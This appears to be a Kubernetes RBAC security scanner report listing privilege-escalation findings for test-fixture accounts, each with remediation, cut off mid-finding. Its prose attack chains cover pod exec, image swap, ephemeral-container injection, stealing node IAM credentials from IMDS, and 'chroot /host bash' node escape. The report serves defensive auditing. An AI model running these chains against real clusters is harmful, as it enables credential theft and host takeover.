A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/foothold-ops/foothold-named-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-named-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-reader and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher Cluster 8.1
ServiceAccount/imgswap-fixtures/imgswap-patcher can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/imgswap-fixtures/imgswap-patcher → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-patcher

Subject ServiceAccount/imgswap-fixtures/imgswap-patcher has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader via pod_image_hijack (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
2. ServiceAccount/imgswap-fixtures/imgswap-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/imgswap-fixtures/imgswap-patcher yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/imgswap-fixtures/imgswap-patcher.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-patcher, the attacker uses update/patch on pods (get,list,patch pods) to change the container image of a pod running as ServiceAccount/imgswap-fixtures/imgswap-reader. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.
  3. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission get,list,patch pods that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 8.1
ServiceAccount/privesc-fixtures/sa-ephemeral can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/default via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default
2. ServiceAccount/cloud-eks-test/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/cloud-eks-test/default via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default.
  3. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/default
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/default).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/default).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 8.1
ServiceAccount/privesc-fixtures/sa-pod-exec can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/default via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount cloud-eks-test/default
2. ServiceAccount/cloud-eks-test/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/cloud-eks-test/default and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/default
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/default).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/default).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH User/gw-deployer Cluster 8.1
User/gw-deployer can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source User/gw-deployer → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: User/gw-deployer

Subject User/gw-deployer has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa via workload_create_token_theft (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
2. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of User/gw-deployer yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to User/gw-deployer.
  2. Acting as User/gw-deployer, the attacker creates a workload (create deployments) whose pod template runs as ServiceAccount/gw-workloads/gw-web-sa. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH User/gw-patcher Cluster 8.1
User/gw-patcher can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source User/gw-patcher → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: User/gw-patcher

Subject User/gw-patcher has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa via workload_hijack (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
2. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of User/gw-patcher yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to User/gw-patcher.
  2. Acting as User/gw-patcher, the attacker rewrites the pod template of an existing workload (patch deployments) so that its pods run the attacker's code as ServiceAccount/gw-workloads/gw-web-sa. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 8.0
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach node escape (host root) in 3 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
